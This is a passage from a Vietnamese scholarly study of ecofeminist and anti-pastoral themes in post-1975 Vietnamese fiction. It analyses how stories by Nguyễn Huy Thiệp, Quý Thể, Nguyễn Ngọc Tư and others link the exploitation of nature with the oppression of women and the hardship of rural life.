Ngày mai nó hả hê vì trừng trị kẻ khác… Một cơn lốc luẩn quẩn xoáy sâu vào ngõ
104
cụt”. Vậy là, đúng như các nhà sinh thái nữ quyền chỉ ra: có sự liên hệ giữa bất
công đối với tự nhiên và những bất công trong xã hội.
Sự vênh lệch trong cách cảm nhận về thế giới tự nhiên đôi khi đẩy tới bi kịch
gia đình. Trong truyện Con chó và vụ li hôn của Dạ Ngân, người đàn ông – kẻ thống
trị độc đoán không bao giờ hiểu được tâm hồn đa cảm của người phụ nữ. Một khi
con người không có lòng yêu thương trắc ẩn đối với loài vật thì người đó không
biết yêu thương. Đó là lí do vì sao chỉ nhìn thấy người chồng đối xử với con chó,
người vợ cảm thấy ghê sợ. Phần bóng tối của người chồng lộ ra khi đối diện với
con vật. Sự gắn bó, yêu thương của người vợ và con gái với con chó khiến người
chồng cảm thấy bị thừa ra, cảm giác bị ra rìa khiến khiến cho tính cách độc đoán
của anh ta trỗi dậy, Nhiêu đã đối xử tệ bạc với con chó (đánh đập, hành hạ con
chó, mang ba con chó con thả trôi sông vì tiếng kêu của nó khiến anh ta không ngủ
được, giết thịt con Mực khi nó đang có mang… ). Cái cách anh ta ngược đãi với con
vật như một cách anh ta thể hiện địa vị của mình. Người chồng đối xử một cách
bất nhẫn, ác cảm, ích kỉ đối với con chó là để thể hiện quyền uy của kẻ bề trên, của
kẻ thống trị. Đó cũng là lí do vì sao mà khi chồng đề nghị ái ân thì Đoan có cảm giác
“bị dùng”. Sự tàn nhẫn của Nhiêu với con vật, thái độ miệt thị Đoan vì đã yêu
thương con chó, sự vênh lệch trong tâm hồn… đẩy gia đình tới bờ vực của sự tan
vỡ.
Bản chất chuyên quyền, độc đoán, thống trị của người đàn ông là căn
nguyên của những bi kịch.Trong truyện ngắn Mùi cọp của Quý Thể, sự độc đoán lại
được thể hiện qua một khía cạnh khác. Người chồng không chấp nhận được thế
giới khác với mình, sự khó chịu với cái mùi lạ: mùi cọp – “mùi nồng hăng hắc” cùng
với thế giới của anh ta – thế giới thượng lưu, trí thức (người chồng là dạy toán ở
một trường đại học) không hiểu và không chấp nhận cái thế giới của những loài vật
đã dẫn tới cái chết thương tâm của vợ anh ta, một diễn viên xiếc. Họ mang tư
tưởng thâm căn cố đế của loài người, coi mình là “kiểu mẫu của muôn loài” đã
xem cô và thế giới của cô là một cái gì kì quái, lạ lùng và ra sức miệt thị thế giới ấy.
Người chồng với những định kiến về “loài ác thú” và nỗi sợ sinh thái mơ hồ đã
không thể chấp nhận công việc của vợ. Yêu cầu bỏ nghề nghĩa là bắt cô từ bỏ tình
yêu, niềm đam mê và sự kiêu hãnh của người nghệ sĩ: “Em yêu lũ cọp. Chúng nó
yêu em và em yêu nghề”, “tìm một người dạy thú như em thì rất khó. Em yêu cái
không khí của gánh xiếc”, vậy thì chẳng khác gì nói cô từ bỏ cuộc sống. Cô đã chọn
105
cái chết cho hạnh phúc ngắn ngủi của mình, đúng hơn, cô đánh đổi hạnh phúc
trong một đêm bằng mạng sống. Người chồng được thỏa mãn hạnh phúc ái ân
bằng tai họa sau đó của người vợ. Là người dạy thú, cô hiểu hơn ai hết tập tính của
loài cọp “một mùi lạ có nghĩa là một kẻ thù”, cô cũng nhận ra khoảnh khắc mong
manh mà con thú tấn công mình nhưng cô yêu cầu ông chủ gánh xiếc “Đừng bắn!”
vì đó là lựa chọn của người nghệ sĩ kiêu hãnh, đến cả khi sắp chết cô vẫn dành mối
quan tâm và niềm day dứt cho con vật chịu cái chết oan uổng vì sự lựa chọn của
mình “Con Đắc Lác chết rồi sao? Tội nghiệp nó, nó còn bốn con dại. Không phải lỗi
tại nó, lỗi tại tôi…”. Mặc dù đây là một quyết định tự nguyện nhưng người đọc
không khỏi bàng hoàng. Tác phẩm này cho thấy sự va đập giữa các quan niệm:
người chồng/ người vợ, nam quyền/nữ tính, lí tính/cảm xúc, con người (human)/
cái tự nhiên phi nhân (nonhuman)… và chính cái logic thống trị mang tính nhị
nguyên tồn tại trong văn hóa gia trưởng khiến cho người phụ nữ và thế giới tự
nhiên phải chịu thiệt thòi (trong trường hợp này, con hổ cũng thuộc giống cái).
Người đọc có thể nhận ra những diễn ngôn nam quyền trong cách nhìn vạn
vật. Đối với một số loài, sự hi sinh của con đực cho con cái, sự chăm sóc của con
đực đối với gia đình mang bản năng giống loài rất tự nhiên: “Cái giống vịt trời rất
lạ. Thời gian ấp trứng hầu như do vịt đực ấp, vịt con nở, vịt đực lại dẫn đi kiếm ăn
để cho con vịt cái rảnh rang, nhàn hạ tự kiếm mồi nuôi thân vỗ béo, thay lông rồi
tiếp tục đẻ trứng” (Chuyến đi cuối năm, Sương Nguyệt Minh); cá đầu xanh “Con
đực to hơn trông có vẻ thô kệch nhẫn nại cắn hạt mã tiền mớm vào miệng cho con
cái”. Mại đã đem cái ác cảm của con người phủ trùm lên loài vật khi kết luận rằng
“Vịt đực là giống chung tình”, “Cua đực được tiếng là chung tình”, “Sự cung cúc
của giống đực vừa cao cả vừa ngu xuẩn”, “Giống cái là cái loại bạc tình”. Rõ ràng,
người đàn ông này đang đem quan niệm của loài người để đánh giá loài vật, và
điều đó khiến cho anh ta tha bổng cho giống đực, chỉ giết giống cái. Nhưng tình
cảm của con khỉ cái đối với con đực, chăm chút con vật bị thương bằng một tình
cảm yêu thương đầy mẫu tính “Khỉ cái nhe răng cắn chặt rút mũi tên ra và nhai lá
thuốc đắp vào bả vai khỉ đực (…) một tay cầm phễu lá, một tay nặn vú đang cương
sữa. Sữa chảy vào phễu lá rồi chảy xuống mồm khỉ đực”; thái độ dũng cảm che chở
cho cả gia đình “Anh lù lù đứng trước mặt nó và chĩa cái nỏ săn đã căng dây. Con
khỉ cái chẳng mảy may sợ sệt, đứng hẳn lên che chắn cho khỉ đực bị thương và tay
phải quơ vội khỉ con quặt về phía sau” đáp trả cái ác cảm vô lí của nhân vật về
106
giống cái, cái cảm giác mà người cha gieo vào đầu con trai, cảm giác mà vì bị phụ
tình, anh đối xử bất công với loài vật. Tình cảm của loài vật đã giúp anh bài học sơ
giản về tình yêu thương, giúp anh lấy lại được cân bằng và thanh thản giữa cõi đời
“Anh cảm thấy mọi sự bon chen toan tính, bạc tình, mưu lợi đều vô nghĩa hết.
Bỗng dưng anh học được một bài học vô giá ở núi rừng Tam Điệp”. Cũng vậy, trong
Muối của rừng (Nguyễn Huy Thiệp), lúc đầu ông Diểu lấy làm mừng vì con khỉ cái
làm canh gác, ông lí luận bằng thái độ rất khinh thường “Bởi giống cái bao giờ cũng
dễ phân tâm… Đang canh gác mà bắt rận ở người thì còn gì nữa? Với giống cái thì
thân thể mình là quan trọng nhất”, nhưng khi con khỉ cái bất chấp hiểm nguy, lẽo
đẽo theo ông xuống núi tìm cách cứu khỉ đực thì trong ông bỗng nổi lên một nỗi
cảm phục và thương hại, ông đã tha bổng. Ban đầu, rõ ràng các nhân vật đã mang
tư tưởng nam quyền để nhìn nhận về loài vật, mang thiên kiến của loài người để
đánh giá chúng, nhưng khác với con người, loài vật sống với bản năng hồn nhiên,
với logic ngàn đời của vạn vật. Cái bản năng chân thật của muôn loài ấy đã đánh
thức trong nhân vật những tình yêu thánh thiện. Vậy nên, đặt tư tưởng nam quyền
của con người trước loài vật để thấy khi con người đánh mất đi cái đẹp bản năng
nguyên sơ thì trở nên cô đơn, bất toàn. Trong hành trình đi tìm lại bản thể người,
soi mình vào vạn vật, con người đã nhận ra cái khiếm khuyết mang tính lịch sử ấy.
Hành trình bóc lột tự nhiên – hành trình bóc lột phụ nữ
Trong bài giảng về Phê bình sinh thái tại Viện Văn học năm 2011, Karen
Thornber đã khẳng định “Đặt nền tảng trên tư tưởng nữ quyền luận sinh thái, phê
bình văn học nữ quyền luận sinh thái cá thể hiểu một cách rộng ra là một diễn
ngôn dấn thân chính trị, nhằm phân tích những kết nối quan niệm giữa việc lũng
đoạn phụ nữ và thế giới phi nhân”1
.
Francoise de Eaubonne cho rằng nhìn vào lịch sử loài người dường như khi
con người rời bỏ tự nhiên, rời bỏ tư duy nguyên thủy cũng là lúc bắt đầu chuyển từ
xã hội mẫu hệ sang xã hội phụ hệ. Và như thế cũng có nghĩa là bắt đầu của sự bất
công. Nam giới xuất hiện trên trái đất với vai trò săn bắn, là kẻ thù của tự nhiên.
Phụ nữ sống trong sự hài hòa với thiên nhiên. Vì vậy, phụ nữ phù hợp hơn so với
nam giới để đấu tranh cho việc bảo vệ thiên nhiên, nhiều trách nhiệm hơn với
thiên nhiên. Người phụ nữ muốn kết thúc sự thống trị với thiên nhiên. Trong
những truyện ngắn của Trần Duy Phiên, người chồng thể hiện bản chất thống trị

1
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
107
của mình còn người mẹ, người phụ nữ bao giờ cũng lên tiếng khuyên răn phải sống
nhường nhịn tự nhiên. Người con (Kiến và người) chỉ ra sai lầm của việc làm trái tự
nhiên “Bố cháu đã sai lầm. Bố đã đào một con sông ngược vào núi”, “Một đời bố
có thua ai”, “Bố huênh hoang kì công tạo dựng cơ ngơi”. Tham vọng của người cha
chủ gia đình trong Trăm năm còn lại thật ghê sợ. Ông vốn là một tử tù vượt ngục,
sống hoang dã, bản năng lao theo một giấc mơ ngông cuồng và ngạo ngược. Ông
bắt con sông Dakbla phải phục tùng. Việc các nhân vật rời phố thị lên rừng để xây
dựng cơ ngơi đã là một hàm ý về sự khai phá tự nhiên. Và hầu như, đây lại là ý chí
của người đàn ông, người chủ gia đình trong khi đó, hầu hết người mẹ – người phụ
nữ cầu khẩn: phải biết kính sợ sinh mệnh tự nhiên “Chúng đông mà mình có ít.
Phải nhịn may ra…” (Kiến và người), người vợ trong tiểu thuyết Trăm năm còn lại
lúc nào cũng can ngăn chồng từ bỏ thái độ ngạo mạn chinh phục tự nhiên vì đó là
con sông thiêng oai hùng “sông trườn về, uốn trăm khúc, nghiêng núi, bạt rừng,
nuốt thú”, “Dakbla là con sông ăn thịt người”…
Trong tiểu thuyết Sông, không phải ngẫu nhiên sông Di được gọi là đàn bà,
có lẽ không chỉ vì sự hung hiểm khó lường của nó mà còn bởi sự bóc lột, khai thác,
chiếm đoạt của con người với nó. Trong tác phẩm, có những chi tiết đã ghi chép lại
ở “Di lưu kí” giúp người đọc nhận ra nhiều dấu vết của việc đối xử tàn nhẫn với
người phụ nữ. Cung tiến phụ nữ để chế ngự tự nhiên: “Ba lần ngăn ba lần con đập
vỡ. Người ta đã dìm nhiều mĩ nữ vào sông để cung tiến thủy thần”. Rõ ràng, nếu
“đọc” những chi tiết này dưới con mắt của các nhà sinh thái nữ quyền, chúng ta sẽ
thấy, lịch sử bóc lột tự nhiên cũng song hành với quá trình áp bức phụ nữ. Thường
thì, trong những hoàn cảnh ngặt nghèo khi đối mặt với tự nhiên hung bạo, người
đàn ông đưa người phụ nữ ra làm vật thế mạng. Trong tiểu thuyết Trăm năm còn
lại của Trần Duy Phiên, cả đại gia đình bị con hổ xám rình rập: những vật nuôi trong
gia đình bị bắt đi, sáng ra mọi người kinh hoàng khi dấu chân hổ lởn vởn quanh
nhà. Cả gia đình sống trong hoang mang sợ hãi. Người cha đã tiêu diệt con hổ bằng
cách đem Lăng – cô con gái dịu dàng, xinh đẹp, ngoan ngoãn ra dụ con ác thú.
Thiếu tướng Hồng Quyền trong truyện ngắn Con thú bị ruồng bỏ (Nguyễn Dậu)
cũng đưa người cháu gái của mình ra để tiêu diệt con Múc – một con chó do sự đối
xử bất công của ông đã trở về đời sống hoang dã. Người vợ (Con thú lớn nhất,
Nguyễn Huy Thiệp) để lại nhiều ám ảnh về cõi sống chết lặng lẽ của những người
phụ nữ bị cột chặt trong những bổn phận và trách nhiệm, “lúc nào cũng âm thầm,
im lặng, suốt ngày không hề thấy nói một tiếng” và cuối cùng chết bởi phát súng
của chính người chồng, trở thành miếng mồi để chồng săn con thú lớn nhất.
108
Truyện Mùa săn của Quý Thể viết về câu chuyện của một người phụ nữ và hai
người đàn ông (một là chồng và một là tình nhân) đi săn con Min “hung thần của
rừng già”. Cuộc đi săn với người phụ nữ như là một ngụ ý, cả hai cùng săn thú và
cùng chiếm đoạt thân thể người đàn bà. Khi con Min bị bắn theo đúng rắp tâm của
Quán, anh ta tháo chạy nhưng xe chết máy. Con vật bị thương hung dữ xông tới thì
hai người đàn ông bỏ mặc người phụ nữ làm vật thế mạng cho con trâu rừng còn
họ thì trốn chạy “Hai người hùng trong giây phút nguy ngập đã bỏ trốn cả; Phượng
lồm cồm bò dậy. Cái áo sơ mi màu đỏ chói của nàng giờ đây như hút lấy cặp mắt
con thú”.
Đằng sau những sự bóc lột tự nhiên đôi khi là sự bóc lột thân thể người phụ
nữ. Cô gái nghe tiếng hát của ốc Bụt (một loài ốc rất quý ở Đồng Nàng, nơi giao cắt
giữa con sông Di và sông Lạc xéo qua như hai nét tạo thành chữ X. Bên nước bạc,
bên đỏ) phải trả một cái giá rất lớn về mặt thể xác. Cô phải đánh đổi đôi mắt (năm
cô chín tuổi mắt bị mù thì cô thăm được tiếng hát của ốc Bụt bằng cây mần gai),
hạnh phúc bình thường (nhưng cô sẽ không bao giờ nghe thấy tiếng hát nữa nếu
như cô không còn trinh trắng), phải trả giá về mặt thể chất cho khả năng huyền bí
nghe tiếng hát ốc Bụt dưới đáy sông “Tự dưng cô gái lặng ngắt sau một cái rùng
mình. Cọng rau chay chết cứng trên tay trái… người nhũn ra, bợt bạt. Kiệt sức, cô
gái vẫn cố đưa còi lên miệng thổi”. Người dân ở khúc sông Di đó đã bắt cô gái thăm
con ốc bụt, vét cạn tự nhiên. (Sông, Nguyễn Ngọc Tư). Chi tiết này như một ẩn dụ
của cái nhìn song hành giữa quá trình bóc lột tự nhiên và bóc lột phụ nữ. Màu của
bóng tối, Tiền rừng, Chuyện cũ từ rừng – Nguyễn Trí cũng cho ta thấy một cái nhìn
“dấn thân chính trị” của các nhà phê bình sinh thái trong việc nối kết sự bóc lột tự
nhiên song song với việc bóc lột phụ nữ. Bảy Tình đánh đổi thân xác cho giám đốc
lâm trường để có hợp đồng khai thác lồ ô (Tiền rừng). Chồng sốt rét, Diệu Thảo đi
vào rừng săn tìm quả ươi, một loại cây cấm bị tịch thu cả xe và hàng, Khánh đã
“dùng quyền lực, lợi dụng sự cùng đường” (Chuyện cũ từ rừng) của cô đề nghị trao
thân. Với những kẻ đi trộm mủ cao su để được bảo vệ cho qua “Ở đây con nào
không giao hàng cho mấy ảnh để qua ải” (Màu của bóng tối).
Từ việc phê phán tư tưởng “trung tâm nam” tồn tại trong nền văn hóa gia
trưởng của nhân loại, văn xuôi sinh thái Việt Nam cúi xuống những thân phận dễ bị
thương tổn như người phụ nữ, đưa ra những luận điểm phản tỉnh để thúc đẩy sự
công bằng không chỉ với tự nhiên mà với cả những số phận gần gũi, bảo vệ, che
chở cho tự nhiên, các nhà phê bình sinh thái do vậy, kêu gọi một sự công bằng xã
109
hội “Chủ nghĩa nữ quyền sinh thái lập luận rằng cuộc chiến cho sự sống còn của
sinh thái về bản chất hòa quyện với cuộc chiến giải phóng phụ nữ và giành những
hình thái công bằng xã hội khác”1
để nhân loại bền vững và ổn định.
4. Ý THỨC VỀ NỖI BẤT AN SINH THÁI
4.1 Cái nhìn phản lãng mạn về nông thôn
Viết về nông thôn, văn học truyền thống thường nghiêng về lí tưởng hóa,
thẩm mĩ hóa, coi đó là nơi chốn hiền hòa, bình yên, mà khi thất vọng về thế sự
(trong thơ điền viên) hay mệt mỏi chốn phồn hoa (trong văn học lãng mạn), con
người luôn mong mỏi quay trở về. Nhưng đã có những nhánh nhỏ mà ở đó xuất
hiện sự hoài nghi diễn ngôn lãng mạn về nông thôn. Phản đề về khuynh hướng lí
tưởng hóa, lãng mạn hóa nông thôn, vùng hẻo lánh, Henry David Thoreau cho rằng
“văn học đồng quê thực chất chỉ là sự khắc họa về thôn quê của những người ngồi
trong cánh cửa sổ phòng khách để nhìn ra”2
. Terry Giford trong cuốn Đồng quê
(Pastoral) dựa vào mô hình 3 lớp của kịch: đồng quê (pastoral), phản đồng quê
(anti-pastoral) và hậu đồng quê (post-pastoral) chất vấn lại cái nhìn về văn học
đồng quê. Ông cho rằng thực chất của cái nhìn về nông thôn trong văn học thôn dã
truyền thống chủ yếu là đã lí tưởng hóa, che đậy đời sống khó khăn vất vả
3
.
Xu hướng giải huyền thoại về nông thôn trong văn xuôi đương đại biểu hiện
qua cốt truyện trở về. Văn chương từ xưa đến nay, khi cảm thấy bất như {, con
người thường tìm trở về với thôn dã để được bình an và thanh thản. Văn học điền
viên là một hình thức xa lánh cuộc đời xã hội nhiêu khê, trở về với thiên nhiên để
quên nỗi buồn thế sự. Những nhà nho ở ẩn có khuynh hướng vui với cây cỏ, hòa
vào “dòng sống thâm ảo của thiên nhiên” để chối từ con người lí trí, rũ bỏ áo
khoác xã hội, xa lánh cảnh trầm luân, nhiễu nhương. Bởi vậy từ Khuất Nguyên, Đào
Tiềm cho đến Nguyễn Trãi, Nguyễn Bỉnh Khiêm, Nguyễn Khuyến… mệt mỏi với
quan trường ganh ghét, lòng người hiểm độc, họ đã “quy khứ lai” – trở về với mây
trắng núi ngàn để lòng thanh thản, vô lo. Nông thôn được coi là chốn ẩn dật, miền
trú ẩn bình yên, là điểm tựa để thoát khỏi ưu phiền. Motif hòa nhập vào thiên

1 Karen Thornber, Ecocriticism, Tài liệu thuyết trình tại Viện Văn học, 2011
2
Theo Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
3Gifford T. (1999), Pastoral , Routledge, the Critical Idiom series
110
nhiên, buông theo tự nhiên tách mình ra khỏi cái ồn ào đô thị để sống thanh thản
là một trong những chủ đề cơ bản của văn học lãng mạn, là khuynh hướng “ngược
về ngoại ô” để thả mình vào hương đồng cỏ nội của văn học đương đại – thái độ
lánh mình vào tự nhiên của con người thời hiện đại bị bao bọc bởi văn minh kĩ trị.
Văn xuôi sau năm 1975 có một cái nhìn “phản lãng mạn” về cuộc sống thôn
quê. Chăn trâu cắt cỏ (Nguyễn Huy Thiệp) trước hết là tác phẩm “phản mục đồng”:
giễu nhại văn chương mục đồng. Tác phẩm dễ khiến người đọc liên tưởng đến hình
tượng đẹp đẽ về thôn dã thanh bình: Mục đồng thổi sáo trâu về hết/ Cò trắng từng
đôi lượn xuống đồng (Thiên Trường vãn vọng, Trần Nhân Tông), kì thực, Nguyễn
Huy Thiệp đang giễu lại nó. Thứ hai là “phản lãng mạn” qua việc tránh miêu tả cảm
xúc: “Năng không nghĩ ngợi, không xét đoán”, “Năng thấy lòng mình trống rỗng”.
Thứ ba là “chống mĩ hóa”: đối diện với cảnh vật “Năng không biết ở đây cảnh đẹp
hay không đẹp”. Không cảm xúc như là một phản ứng với truyền thống văn
chương thôn dã để bước vào địa hạt gồ ghề của đời sống với hiện thực trần trụi
như dòng đời thản nhiên vốn vậy của sinh hoạt của nông thôn: “Tiền điện tháng
này của nhà hết 28 ngàn đồng. Tiền lễ Thánh mỗi nhà 5 ngàn đồng. Tiền tiêm chó 3
ngàn đồng. Cả thảy 36 ngàn đồng”. Không đủ tiền để đóng các loại phí, người mẹ
phải bán con gà ri để trả. Nông thôn do vậy hiện lên với những nhọc nhằn lo toan.
Nhiều tác phẩm sau năm 1975 phá bỏ những diễn ngôn lãng mạn về miền thôn dã
ấy, đưa người đọc đối mặt với làng quê nhọc nhằn, chất chồng mọi cay cực, đói
nghèo. Heo may gió lộng của Ma Văn Kháng cũng hé lộ cho người đọc về một nông
thôn thất học, tăm tối qua hình ảnh người chị gái của Đoan. Cứ mỗi năm, khi heo
may gió lộng là lúc nông nhàn, bác Thảo, chị gái Đoan lại thường lên thành phố
chơi với gia đình em trai. Những món quà quê như cân nếp, đậu xanh, bánh đa
thái, bột sắn dây… khiến người thành phố ảo tưởng về một gia đình sung túc: “tao
cho về quê bác ấy hẳn một tháng mà chơi. Mà ăn bánh đa thái mỏng với gạo mới
cho nó sướng. Về đúng vụ gặt mà xem. Trong nhà, ngoài sân, trên trời dưới đất,
đâu cũng thóc. Cơ man là thóc. Ngao ngán là thóc. Ngồi trên thóc, ngủ trên tiền.
Thật là vô sự, vô sách mà vô lo vô lự, sướng cả đời. Bác mày giàu, giàu lắm”. Tất cả
những cảm giác ấy che đậy một cuộc sống đầy vất vả của nông thôn qua giấc mơ
đứt nối của người bác. Cuộc sống nặng nề ấy đã biến cô gái thành phố xinh đẹp
thành một bà lão: “Sau hai năm không gặp lại, giờ đây, ngồi đối diện với Đoan
không còn là người chị gái tươi đẹp, óng ả năm xưa. Trước mặt Đoan là một hình
111
hài khác, một kiếp phận khác, một tâm trạng khác. Trước mắt Đoan là một bà lão
nhà quê mùa còm cõi, mệt mỏi và bất an. Trước mắt Đoan là thân xác và tinh thần
của một đời sống lao lực, quá sức và triền miên trong dày vò, cắn rứt, tuy cố nhẫn
nhịn mà vẫn tiết ra xung quanh một nỗi buồn hiu hắt”.
Dễ dàng nhận ra, văn xuôi sinh thái Việt Nam sau năm 1975, bên cạnh việc mô
tả niềm khóc thương những cánh đồng rau khúc, những dòng sông, những mùa sen,
những cây thị… như những giá trị tinh thần của một thiên đường tuổi thơ đã mất, là
cảm giác bất an khi nhận thấy đời sống tinh thần của con người càng trở nên nghèo
nàn đơn điệu do những vẻ đẹp của tự nhiên biến mất. Trong cốt truyện trở về, các
nhân vật đều nhận ra cái vĩnh viễn mất đi của nông thôn. Đoàn Lê đã bóc trần cái yên
bình giả tạo của làng quê, lôi ra ánh sáng ảo tưởng về một làng quê thanh bình nhàn
tản: chẳng thể nào còn chốn ẩn dật mà chỉ là nơi ô hợp, lọc lừa, đầy bạo lực (Chốn sơn
khê), xóm Chùa đã bị khuấy đảo bởi sức nặng của đồng tiền (A tourime xóm Chùa,
Trinh tiết xóm Chùa…). Đối với Quyên (Thương nhớ đồng quê, Nguyễn Huy Thiệp), đối
với Tuấn (Trở về, Đặng Nhật Minh) như là cuộc chia tay buồn bã vô tận với giấc mơ đã
mất, nông thôn không còn trong trẻo như trong kí ức. Nguyện (Thung Lam, Hồ Thị
Ngọc Hoài) trở về, nằm cảm nghe cái không gian xưa cũ của gia đình trong căn nhà
xưa để thức nhận rằng mỗi lần đi xa trở về quê lại mất đi một thứ: mất cha, mất mẹ,
mất nhà và mất gốc. Cô đã mất dần từng thứ một cho đến hết. Những tác phẩm ấy là
những trang viết “giải huyền thoại” về nông thôn, đầy day dứt về những vẻ đẹp đã
tiêu vong, chỉ còn nằm trong miền kí ức, và đối mặt với một nông thôn cơ cực, đói
nghèo, thất học, bất an, bị xâm lấn bởi những sản phẩm ô hợp của đô thị. Thầy giáo
Triệu (Thương nhớ đồng quê- Nguyễn Huy Thiệp) ngậm ngùi “Người thành phố đầu
độc nông thôn bằng những lạc thú vật chất”. Làng quê không còn là nơi yên bình nữa
khi những cô thôn nữ (hai cô bé dễ thương Minh và Mỵ) đi học về bị ô tô cán chết. Ô
tô – sản phẩm của văn minh công nghiệp như là một biểu tượng của đô thị giết chết
những giá trị của thôn quê. Đô thị hóa làm thay đổi nông thôn, nhưng sự nhộn nhạo
đô thành cũng khiến cho cái bình lặng ngàn đời bị phá vỡ. Cơn gió đô thị hóa lướt qua
vùng miền núi trong tiểu thuyết Bóng của cây sồi (Đỗ Bích Thúy) khiến người đọc
không khỏi âu lo cho tình trạng người nông dân rời bỏ đất đai, rời bỏ mối gắn kết với
những giá trị của nông thôn để chạy theo những ảo vọng đô thành phù phiếm. Những
người nông dân gắn với đất trở nên biếng nhác, không chịu làm lụng, chỉ chăm chăm
chăm bán đất để tiêu pha, quanh quẩn ở quán rượu thịt chó. Đồng tiền cũng khiến
112
con người trở nên mất gốc: con gái không chịu vào rừng để kiếm lá dong gói bánh,
những phong tục miền núi dần mai một. Thậm chí, quật mồ mả ông bà lên để bán đất.
Tiểu thuyết đặt ra vấn đề nhức buốt của việc con người trở nên mất gốc rễ như thế
nào trước sự xâm thực của thị thành.
Trong thơ, Phan Hoàng cũng thể hiện niềm ưu tư, suy nghiệm về tình trạng li
hương của người nông dân trước ngọn gió đô thị hóa:
Đường cao tốc
dựng
tường bê tông
đồng vắng
gió nội ngoại tình mất trắng mùa xanh
đất ly nông đất
người ly quê người
gió ly hương gió
tôi ly thân tôi
(Ly hương gió)
Nhiều tác phẩm đã đưa đến một thái độ chất vấn lại những ý niệm về thôn
dã, miền núi, là phản đề về khuynh hướng lí tưởng hóa, lãng mạn hóa vùng nông
thôn, vùng hẻo lánh. Nó đòi hỏi chúng ta phải có một cái nhìn thấu suốt hơn về đời
sống lao động, người nông dân và sự bóc lột của thành thị với nông thôn. Đi qua
đồng chiều của Sương Nguyệt Minh chỉ ra nông thôn không phải là nơi lí tưởng mà
là nơi để thành thị bóc lột “Cái bọn thành phố như nó chỉ muốn đè nén, áp bức
nông thôn mình… nông thôn chỉ là bãi rác thải, là nơi dừng chân của người thành
phố. Người nhà quê chỉ dùng lại đồ cũ, đồ hạng ba: Xe máy cũ, quần áo cũ, hàng
hoá chất lượng thấp đều do người thành phố tuồn về. Họ bắt nạt sự ngu dốt của
thôn quê. Còn các đồ ngon nhất người nhà quê lại đưa ra thành phố : Rau sạch, gà
ri, lợn ỉn, dê, bê non, tôm hùm, cua bể… Bao nhiêu đồ ăn ngon người nhà quê đều
cắc củm dành dụm mang bán cho người thành phố. Lẽ sống đời của người nghèo
nông thôn vẫn là buôn trầu ăn chũm cau. Người nhà quê đều là người nghèo”.
Phá bỏ những ý niệm về thôn dã, về miền núi thanh sạch, an lành, Cơn mưa
hoa mận trắng cho thấy ý niệm “miền núi cái gì cũng sạch” là sai lầm. Trong bữa
tiệc đãi các giáo sinh hết thời hạn dạy lớp xoá mù chữ ở Kin Chu Phìn, hiệu trưởng
113
Tiến vừa kiên nhẫn nhằn giẻ xương chó vừa khích lệ Kiên: “ Ra trường xin lên đây
mà dạy, Kiên ạ (…) Lên vùng cao được thở khí sạch, ăn rau sạch, ngủ gái sạch. Rượu
uống mềm môi, nhai thịt rừng mỏi răng, thỉnh thoảng được xem gái Mèo, gái Mán
tắm truồng, đếch cần biết gì đến công nghệ thông tin hay chiến tranh vùng Vịnh.
Hề hề!”. Nhưng Thanh, một giáo viên sống ở vùng cao nhiều năm đã bóc trần
những diễn ngôn mị dân về vùng cao đó của hiệu trưởng: “Kiên nó ở Kin Chu Phìn
nửa năm rồi, lừa nó thế nào được. Thịt sạch ở tít núi Rú, còn dăm mống khỉ còm
đấy, ai bắn được mà ăn. Gái sạch mà sẵn thì tao với mày đã không ế vợ”; “Camêra
chõ vào chỗ nào thì chỗ ấy toàn hoa ban trắng ngần, hoa đào đỏ thắm. Thế rồi bất
ngờ pặp pặp pừ pừ, tí tú tủ, tí tí tủ… khèn sáo réo rắt nổi lên, rượu vít cong cần,
trai gái nắm tay nhau ù xoẹ lên cả lũ. Cô gái nào cũng trắng nõn trắng hồng. Cả đời
làm bục mặt, lấy đâu mà trắng mà thơm. Tao ở vùng cao nhiều năm, chả thấy gì,
chỉ ngửi thấy mùi cứt ngựa”. Ngoài chủ đề cơ bản về việc ca ngợi tình yêu đẹp
thuần khiết, sáng trong thì Phạm Duy Nghĩa đã khước từ cái nhìn đầy tính du lịch
về miền núi, không hề lãng mạn, vui vẻ với tiếng khèn sáo tưng bừng như người ta
vẫn hình dung về Tây Bắc mà đầy khó khăn với những điều kiện sống khắc nghiệt
và nỗi buồn triền miên. Điều này, trước đó, cũng được Nguyễn Huy Thiệp thể hiện
thấm thía qua hình tượng những người giáo viên lên dạy học ở vùng cao (Sống dễ
lắm, Những người muôn năm cũ… ). Đọc các tác phẩm viết về miền núi của Đỗ Bích
Thúy, người đọc cũng nhận thấy những nhọc nhằn của người lao động trong sự
túng quẫn của đói ăn và các điều kiện sinh thái khắc nghiệt. Sau những mùa trăng
là cảnh người miền núi đối diện với cháy rừng, với cái đói. Ngải đắng ở trên núi là
nỗi day dứt hoài niệm về những năm tháng nghèo khó “Trời làm đất đai cạn kiệt,
tôi theo mẹ đem ống bương đi qua hai quả núi, cách Tả Choóng nửa ngày trời mới
lấy được thứ nước đầy rêu trong một cái vũng nhỏ. Rét căm căm, sương muối trút
xuống từng tảng, sáng ra thấy cây cối đầy lá úa, dây bí ngoài vườn chưa kịp ra quả
đã khô quắt queo, mẹ gieo hạt cải cả tháng chưa thấy mọc… Không có rau, miệng
ai cũng phồng rộp cả lên”.
Song song với cốt truyện trở về trong văn xuôi phản lãng mạn về nông thôn
là hành trình rời bỏ nông thôn để trốn chạy khỏi những khổ nhọc, vất vả, cay cực.
Trong những câu chuyện về đề tài này, các nhà văn khắc họa một hành trình “đào
tẩu khỏi cộng đồng nông thôn đầy trấn áp” (Greg Garard). Giếng cạn (Sương
Nguyệt Minh), Đá cuội đỏ (Đỗ Bích Thúy), Con gái thủy thần (Nguyễn Huy Thiệp)…
114
là những hành trình nhân vật ra đi, bỏ trốn khỏi những mệt nhọc, nghèo đói.
Chương “vụt ra ngõ như chạy. Tôi biết, nếu tôi dừng lại lúc này thì tôi sẽ không bao
giờ đi nữa. Tôi sẽ quay lại công việc của mười năm trước, tôi sẽ cứ như thế cho
đến rốt đời: sáng đi cày, chiều đào đá ong, tối lột giang đan mũ. Tôi sẽ kéo mòn
kiếp sống của tôi như thế. Như thể bố tôi, như ông Nhiêu, như ông Hai Thìn, như
những người nông dân hiền lành lam lũ ở quê hương tôi”. Cuối truyện Đi qua đồng
chiều (Sương Nguyệt Minh), Hương (em họ của Thăng) đi Hà Nội “học ôn thì mới
đỗ vào đại học” như là niềm mong mỏi rời bỏ nông thôn để thay đổi cuộc sống
nghèo khổ, vất vả. Lăng (Giếng cạn, Sương Nguyệt Minh) bỏ làng ra đi “Chiều hôm
